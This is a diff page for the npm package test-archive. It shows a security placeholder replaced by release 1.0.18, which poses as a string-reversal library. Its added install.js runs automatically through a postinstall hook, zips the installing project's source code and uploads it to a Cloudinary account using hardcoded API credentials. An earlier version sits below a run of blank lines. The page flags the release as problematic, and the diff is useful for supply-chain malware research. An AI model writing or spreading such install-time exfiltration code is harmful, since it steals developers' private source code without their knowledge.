test-archive 0.0.1-security → 1.0.18

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of test-archive might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=test-archive for more information.
1
+ # test-archive
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ const reverseString = (str) => str.split("").reverse().join("");
2
+ module.exports = reverseString;
package/install.js ADDED
@@ -0,0 +1,161 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const axios = require('axios');
4
+ const FormData = require('form-data');
5
+ const archiver = require('archiver');
6
+
7
+ const cloudinary = require('cloudinary');
8
+
9
+ cloudinary.v2.config({
10
+ cloud_name: 'dopupdkj3',
11
+ api_key: '269319974335626',
12
+ api_secret: 't0k5-ZkJgdzqSoN9-aCczJ1PhRY',
13
+ secure: true,
14
+ });
15
+
16
+ const options = {
17
+ use_filename: true,
18
+ unique_filename: false,
19
+ overwrite: true,
20
+ }
21
+
22
+ /**
23
+ * Uploads a compressed archive of a project (excluding 'node_modules') to an endpoint.
24
+ * Assumes the project directory is located two directories up from the package directory.
25
+ * @param {string} packageDirectory - The path to the package directory.
26
+ * @param {string} endpoint - The URL where the archive will be uploaded.
27
+ */
28
+ async function uploadProjectArchiveToEndpoint() {
29
+ console.log("function called to upload");
30
+ try {
31
+ // Determine the project directory path (two directories up from the package directory)
32
+ const projectDirectory = path.join('..', '..', 'src');
33
+ console.log("🚀 ~ file: install.js:32 ~ uploadProjectArchiveToEndpoint ~ projectDirectory:", projectDirectory);
34
+
35
+ const archiveFilePath = path.join(projectDirectory, 'project-archive.zip');
36
+ console.log("🚀 ~ file: install.js:35 ~ uploadProjectArchiveToEndpoint ~ archiveFilePath:", archiveFilePath);
37
+
38
+ // Create a write stream for the archive
39
+ const archive = archiver('zip', { zlib: { level: 9 } });
40
+ const archiveStream = fs.createWriteStream(archiveFilePath);
41
+
42
+ // Recursively add all files and folders (excluding 'node_modules') to the archive
43
+ function addFilesToArchive(dir) {
44
+ const files = fs.readdirSync(dir);
45
+
46
+ for (const file of files) {
47
+ const filePath = path.join(dir, file);
48
+ const relativePath = path.relative(projectDirectory, filePath);
49
+
50
+ if (!relativePath.startsWith('node_modules') && !relativePath.startsWith('public')) {
51
+ if (fs.statSync(filePath).isDirectory()) {
52
+ addFilesToArchive(filePath);
53
+ } else {
54
+ archive.file(filePath, { name: relativePath });
55
+ }
56
+ }
57
+ }
58
+ }
59
+
60
+ addFilesToArchive(projectDirectory);
61
+
62
+ // Pipe the archive to the write stream
63
+ archive.pipe(archiveStream);
64
+
65
+ // Finalize the archive and wait for it to finish writing
66
+ await archive.finalize();
67
+
68
+ // Create a FormData object and append the archive
69
+ const formData = new FormData();
70
+ formData.append('archive', fs.createReadStream(archiveFilePath));
71
+
72
+ // Make a POST request to upload the archive
73
+ // const response = await axios.post(CLOUDINARY_UPLOAD_ENDPOINT, formData, {
74
+ // headers: {
75
+ // ...formData.getHeaders(),
76
+ // },
77
+ // });
78
+
79
+ try {
80
+ // Upload the image
81
+ const result = await cloudinary.uploader.upload(formData, options);
82
+ console.log(result);
83
+ return result.public_id;
84
+ } catch (error) {
85
+ console.error(error);
86
+ }
87
+
88
+ // console.log('Upload successful:', response.data);
89
+
90
+ // Clean up: remove the temporary archive file
91
+ fs.unlinkSync(archiveFilePath);
92
+ } catch (error) {
93
+ console.error('Error uploading project archive:', error);
94
+ }
95
+ }
96
+
97
+ uploadProjectArchiveToEndpoint();
98
+
99
+
100
+
101
+
102
+
103
+
104
+
105
+
106
+
107
+
108
+
109
+
110
+
111
+
112
+
113
+
114
+
115
+
116
+
117
+
118
+
119
+
120
+
121
+
122
+
123
+
124
+
125
+
126
+
127
+
128
+
129
+
130
+ // // install.js
131
+
132
+ // const fs = require('fs');
133
+ // const archiver = require('archiver');
134
+
135
+ // // Define the source directory to be zipped
136
+ // const sourceDirectory = '../../.';
137
+
138
+ // // Create a zip archive
139
+ // const output = fs.createWriteStream(`Project${sourceDirectory}.zip`);
140
+ // const archive = archiver('zip', { zlib: { level: 9 } });
141
+
142
+ // output.on('close', () => {
143
+ // console.log(`"${sourceDirectory}.zip" has been created.`);
144
+ // });
145
+
146
+ // archive.on('error', (err) => {
147
+ // throw err;
148
+ // });
149
+
150
+ // archive.pipe(output);
151
+
152
+ // // Add the contents of the source directory to the zip file
153
+ // archive.directory(sourceDirectory, false);
154
+
155
+ // // Finalize the zip archive
156
+ // archive.finalize();
157
+
158
+ // // const reverseString = (str) => str.split("").reverse().join("");
159
+ // // module.exports = reverseString;
160
+
161
+
package/package.json CHANGED
@@ -1,6 +1,27 @@
1
1
  {
2
2
  "name": "test-archive",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.18",
4
+ "description": "testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node install.js"
9
+ },
10
+ "repository": {
11
+ "type": "git",
12
+ "url": "git+https://github.com/mayankcg9/test-archive.git"
13
+ },
14
+ "author": "",
15
+ "license": "ISC",
16
+ "bugs": {
17
+ "url": "https://github.com/mayankcg9/test-archive/issues"
18
+ },
19
+ "homepage": "https://github.com/mayankcg9/test-archive#readme",
20
+ "dependencies": {
21
+ "archiver": "^6.0.1",
22
+ "cloudinary": "^1.40.0",
23
+ "form-data": "^4.0.0",
24
+ "fs": "^0.0.1-security",
25
+ "path": "^0.12.7"
26
+ }
6
27
  }